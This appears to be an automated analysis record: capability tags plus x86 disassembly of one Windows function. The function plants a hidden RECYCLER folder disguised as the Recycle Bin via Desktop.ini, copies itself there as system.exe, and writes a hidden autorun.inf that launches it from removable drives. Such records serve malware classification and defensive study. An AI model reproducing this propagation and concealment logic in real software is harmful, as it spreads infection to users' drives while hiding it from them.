Function at 0x4028ee
Capabilities:
Copy file
Create directory
Set file attributes
Write file on windows

Disassembly:
sub esp, 0x510
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x50c], eax
mov edx, dword [esp + 0x514]
mov ecx, 0x200
push ebx
xor ebx, ebx
mov dword [esp + 4], edx
push ebp
mov eax, ebx
push esi
push edi
cmp eax, ecx
jae 0x402d29
mov byte [esp + eax + 0x18], bl
inc eax
cmp eax, ecx
jb 0x402922
mov eax, ebx
cmp eax, ecx
jae 0x402d29
mov byte [esp + eax + 0x218], bl
inc eax
cmp eax, ecx
jb 0x402935
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402943
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402951
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.RECYCLER
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x40296e
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40297c
mov ecx, edx
mov ebp, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
shr ecx, 2
lea eax, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4029b7
call ebx
cmp eax, 0xb7
jne 0x402abc
push 7
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edx, str.S_1_6_21_2434476501_1644491937_600003330_1213
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4029cb
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4029d9
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
test eax, eax
jne 0x402a09
call ebx
cmp eax, 0xb7
jne 0x402abc
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x18]
push 7
push eax
call ebx
mov ebp, str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
mov edx, ebp
mov esi, ebp
mov al, byte [edx]
inc edx
test al, al
jne 0x402a21
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402a32
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.Desktop.ini
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402a4f
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402a5d
mov ecx, edx
xor eax, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
push 6
push 2
push eax
push eax
mov ecx, edx
lea eax, [esp + 0x2c]
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 1
jb 0x402abc
mov ecx, ebp
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402a98
push 0
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x402ad8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x51c]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
inc eax
call fcn.0040316d
add esp, 0x510
ret
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebp
lea ecx, [esp + 0x18]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402ae7
sub ecx, edx
lea eax, [esp + 0x18]
add eax, ecx
jmp 0x402af9
dec eax
cmp byte [eax], 0x5c
jne 0x402af8
mov edx, str.system.exe
mov byte [eax + 1], 0
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402b09
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b17
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 1
mov ecx, edx
push eax
and ecx, 3
lea eax, [esp + 0x420]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 7
lea eax, [esp + 0x1c]
push eax
call ebx
xor eax, eax
mov ecx, 0x200
cmp eax, ecx
jae 0x402d29
mov byte [esp + eax + 0x218], 0
inc eax
cmp eax, ecx
jb 0x402b5a
cmp byte [esp + 0x18], 0x5c
lea edx, [esp + 0x18]
je 0x402b78
inc edx
cmp byte [edx], 0x5c
jne 0x402b72
mov ebx, str._autorun__r_nopen
inc edx
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402b80
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b91
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402bab
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402bbc
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, str._r_nicon_SystemRoot__system32SHELL32.dll_4_r_nactionOpen_folder_to_view_files_r_nshellopenOpen_r_nshellopencommand
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x402bd9
lea edi, [esp + 0x218]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402bea
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402c02
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402c13
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._r_nshellopendefault1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402c30
lea edi, [esp + 0x218]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402c41
mov ecx, edx
xor ebx, ebx
shr ecx, 2
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x200
cmp eax, ecx
jae 0x402d29
mov byte [esp + eax + 0x18], bl
inc eax
cmp eax, ecx
jb 0x402c68
mov edx, dword [esp + 0x10]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402c77
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402c85
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._autorun.inf
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402ca2
lea edi, [esp + 0x18]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402cb0
mov ecx, edx
lea eax, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 7
push 2
push ebx
push ebx
push 0x40000000
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 1
jb 0x402abc
lea ecx, [esp + 0x218]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402d02
push ebx
lea eax, [esp + 0x18]
sub ecx, edx
push eax
push ecx
lea eax, [esp + 0x224]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call ebp
jmp 0x402abc
call fcn.0040329d
int3